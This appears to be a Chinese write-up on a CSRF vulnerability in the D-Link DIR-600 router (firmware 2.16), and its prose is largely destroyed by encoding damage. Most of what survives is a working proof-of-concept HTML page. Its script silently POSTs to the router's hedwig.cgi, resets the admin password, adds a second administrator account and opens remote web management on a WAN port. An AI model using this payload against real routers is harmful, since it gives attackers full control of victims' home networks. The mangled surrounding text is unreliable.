????1??????
????????????????CSRF?????Σ??????D-link??DIR-600·??????????汾??BX??????汾??2.16????CSRF????????
????D-link??CSRF?????????????????????????????????D-link CSRF????????????????CSRF???????????????D-link·??????
????2??CSRF??????
????????Щrequest?????????csrf  token???????????????????CSRF???????????????????α?????????????????????????????й?????????????????
???????D-link ????????CSRF???????????????????2?????
????@1?????????μ????????
????@2??????·?????????????
????@3??ping??????????????????????·??????????????????·??????WAN IP?????
????3??PART1:??·????????????μ???????
???????????request?????????
????REQUEST1:
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST"?? "http://192.168.0.1/hedwig.cgi"?? true);
xhr.setRequestHeader("Accept"?? "text/html??application/xhtml+xml??application/xml;q=0.9??*/*;q=0.8");
xhr.setRequestHeader("Accept-Language"?? "en-US??en;q=0.5");
xhr.setRequestHeader("Content-Type"?? "text/plain; charset=UTF-8");
xhr.withCredentials = "true";
var body = "<?xml version="1.0" encoding="UTF-8" ?>"+
"
<postxml>"+
"<module>"+
"<service>DEVICE.ACCOUNT</service>"+
"<device>"+
"<account>"+
"<seqno/>"+
"<max>1</max>"+
"<count>2</count>"+
"<entry>"+
"<name>admin</name>"+
"
<password>==OoXxGgYy==</password>"+
"<group>0</group>"+
"<description/>"+
"</entry>"+
"<entry>"+
"<name>admin2</name>"+
"
<password>pass2</password>"+
"<group>0</group>"+
"<description/>"+
"</entry>"+
"</account>"+
"<session>"+
"<captcha>0</captcha>"+
"<dummy/>"+
"<timeout>180</timeout>"+
"<maxsession>128</maxsession>"+
"<maxauthorized>16</maxauthorized>"+
"</session>"+
"</device>"+
"</module>"+
"<module>"+
"<service>HTTP.WAN-1</service>"+
"<inf>"+
"<web>2228</web>"+
"<weballow>"+
"<hostv4ip/>"+
"</weballow>"+
"</inf>"+
"</module>"+
"<module>"+
"<service>HTTP.WAN-2</service>"+
"<inf>"+
"<web>2228</web>"+
"<weballow>"+
"<hostv4ip/>"+
"</weballow>"+
"</inf>"+
"</module>"+
"</postxml>";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="Submit request1" onclick="submitRequest();" />
</form>
</body>
</html>